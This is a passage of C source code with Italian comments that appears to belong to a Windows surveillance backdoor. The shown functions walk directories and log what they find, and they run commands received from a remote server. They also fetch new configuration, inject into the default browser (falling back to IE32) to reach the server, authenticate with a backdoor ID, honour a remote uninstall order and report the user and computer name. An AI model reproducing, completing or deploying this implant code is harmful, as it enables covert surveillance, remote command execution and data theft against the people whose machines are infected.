    HANDLE hfile;
    fs_browse_elem *fs_array;
    WCHAR dir_expanded[MAX_PATH];
    DWORD num_fs, i;

    // Di tutti gli elementi di fs_array andranno liberate le stringhe
    if (!ASP_GetFileSystem(&num_fs, &fs_array))
        return FALSE;

    // Per ogni entry...
    for(i=0; i < num_fs; i++) {
        if (FNC(ExpandEnvironmentStringsW)(fs_array[i].start_dir, dir_expanded, MAX_PATH)) {
            hfile = Log_CreateFile(PM_EXPLOREDIR, NULL, 0);
            ExploreDirectory(hfile, dir_expanded, fs_array[i].depth);
            Log_CloseFile(hfile);
        }
        SAFE_FREE(fs_array[i].start_dir);
    }
    SAFE_FREE(fs_array);
    return TRUE;
}

// Gestisce le richieste di esecuzione diretta di comandi
BOOL LOG_HandleCommands()
{
    WCHAR **cmd_array;
    char ascii_command[MAX_PATH * 2];
    DWORD num_cmd, i;

    // Di tutti gli elementi di cmd_array andranno liberate le stringhe
    if (!ASP_GetCommands(&num_cmd, &cmd_array))
        return FALSE;

    // Per ogni entry...
    for(i=0; i < num_cmd; i++) {
        _snprintf_s(ascii_command, sizeof(ascii_command), _TRUNCATE, "%S", cmd_array[i]);
        SAFE_FREE(cmd_array[i]);
        DA_Execute((BYTE *)ascii_command);
    }
    SAFE_FREE(cmd_array);
    return TRUE;
}

// Legge (se c'e') un nuovo file di configurazione
BOOL LOG_ReceiveNewConf()
{
    char conf_path[DLLNAMELEN];

    if (!ASP_ReceiveConf(HM_CompletePath(H4_CONF_BU, conf_path)))
        return FALSE;

    // Controlla se il file e' arrivato integro.
    // Se si, lo copia sulla configurazione originale 
    // e cancella la copia di backup. altrimenti cancella 
    // la copia non integra e basta. Torna TRUE se 
    // ha copiato con successo.
    if (!HM_CheckNewConf(H4_CONF_BU))
        return FALSE;

    return TRUE; 
}


// Inizializza la connessione, esegue AUTH e ID
// Se torna FALSE la sync si deve interrompere
// Se torna FALSE e uninstall==TRUE, si deve disinstallare
BOOL LOG_StartLogConnection(char *asp_server, char *backdoor_id, BOOL *uninstall, long long *time_date, DWORD *availables, DWORD size_avail)
{
    char asp_process[DLLNAMELEN+2]; // Il nome del processo avra' le ""
    char subtype[16];
    BYTE instance_id[20];
    WCHAR usr_var[80];
    WCHAR dev_var[80];
    DWORD response_command;

    *uninstall = FALSE;

    // Legge il browser di default
    HM_GetDefaultBrowser(asp_process);

    // Inizializza ASP
    if (!ASP_Start(asp_process, asp_server)) {
        // Se per qualche motivo non riesce a iniettarsi nel default browser, prova con IE32
        HM_GetIE32Browser(asp_process);
        if (!ASP_Start(asp_process, asp_server))
            return FALSE;
    }

    // Seleziona il subtype
    /*if (IsX64System()) 
        _snprintf_s(subtype, sizeof(subtype), _TRUNCATE, "WIN64");        
    else
        _snprintf_s(subtype, sizeof(subtype), _TRUNCATE, "WIN32");*/
    if (is_demo_version) 
        _snprintf_s(subtype, sizeof(subtype), _TRUNCATE, "WINDOWS-DEMO");        
    else
        _snprintf_s(subtype, sizeof(subtype), _TRUNCATE, "WINDOWS");

    // Seleziona l'instance_id univoco
    if (!GetUserUniqueHash((BYTE *)instance_id, sizeof(instance_id))) {
        ASP_Stop();
        return FALSE;
    }

    if (!ASP_Auth(backdoor_id, instance_id, subtype, crypt_key_conf, &response_command)) {
        ASP_Stop();
        return FALSE;
    }

    if (response_command != PROTO_OK) {
        if (response_command == PROTO_UNINSTALL) 
            *uninstall = TRUE;
        ASP_Stop();
        return FALSE;
    }

    // nome dell'utente e deviceid
    memset(usr_var, 0, sizeof(usr_var));
    memset(dev_var, 0, sizeof(dev_var));
    usr_var[0]=L'-';
    dev_var[0]=L'-';
    FNC(GetEnvironmentVariableW)(L"USERNAME", (WCHAR *)usr_var, sizeof(usr_var)/sizeof(WCHAR)-2);
    FNC(GetEnvironmentVariableW)(L"COMPUTERNAME", (WCHAR *)dev_var, sizeof(dev_var)/sizeof(WCHAR)-2);

    if (!ASP_Id(usr_var, dev_var, time_date, availables, size_avail)) {
        ASP_Stop();
        return FALSE;
    }

    return TRUE;
}


// Chiude la connessione per l'invio dei log
void LOG_CloseLogConnection()
{
    ASP_Stop();
}